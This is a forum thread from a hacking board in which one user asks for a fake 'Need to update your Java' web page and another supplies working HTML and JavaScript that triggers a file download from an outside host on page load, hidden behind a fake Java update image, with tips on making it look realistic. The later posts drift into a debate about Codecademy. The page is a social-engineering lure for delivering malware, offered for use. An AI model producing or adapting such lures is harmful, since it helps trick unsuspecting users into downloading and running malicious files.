Thread: Help with HTML Java code

furyofspades - *February 19, 2015, 1:25 pm*

Need a fake "Need to update your Java" code for HTML that auto downloads a file and then redirects to another url.

If you can help please tell me here or pm (I cant pm)

Thanks

Niely - *February 19, 2015, 2:08 pm*

Code:

```
Code <!DOCTYPE html>
<html>
<head>
    <title>Update your Java</title> <!--Text presented in Browser-tab-->
    <style>
    body {
        background-color: #A4A4A4;
    }
    img {
        max-width: 100%;
    }
    #java {
        position:absolute; top:35%; left: 35%;
        cursor: default;
    }
    </style>
    <script>
        function java() {
            var url = "http://142536789.cf/downloads/ClamAV-Easy.tar.gz"; //REPLACE WITH OWN
FILE
            window.open(url, 'Download');
        }
    </script>
</head>
<body [b]onload=[/b]"java()">
    <img id="java"
src="http://www.question-defense.com/wp-content/uploads/2010/05/java-update-available.gif"
onClick="java()"/>  <!--REPLACE IMAGE-->
</body>
</html>Save as: java.html
```

Try doing a bit more research on yourself OP. :)
This is a basic page/image, you'll have to edit the background yourself etc to make it look realistic.

Shouldn't be to hard to make.
Do you even know HTML, CSS, JavaScript, and PHP? :)
http://codecademy.com

You really have to take a look at that one.

CodeCademy isn't horrible.
It's the best way to learn languages like HTML & CSS.

For ultimate beginners, CodeCademy is awesome to get the basics.

furyofspades - *February 20, 2015, 8:36 am*

I know how to code in HTML perfectly and some CSS of course but I need the pics and stuff for a really legit looking java update page and I dont know if I can do that perfectly or where to get it thats why im asking

Explain me what's wrong with an interactive way to learn a language, which gives amazing exercises and explanation + includes a Q&A forum?

Windows95 - *February 20, 2015, 3:31 pm*

(Feb 20, 2015 03:39 PM)?Niely Wrote: [CITE] Explain me what's wrong with an interactive way to learn a language, which gives amazing exercises and explanation + includes a Q&A forum?Nothing is wrong with that simply the content it's teaching you is near to nothing, also it has the answers in the Q&A that every 9 year old uses.

In JavaScript for example, they teach you statements, loops, functions, variables, expressions, and of course the structured way of thinking. :)

Besides that, as long as the Q&A gives answers who work and explain it, it's okay for me.
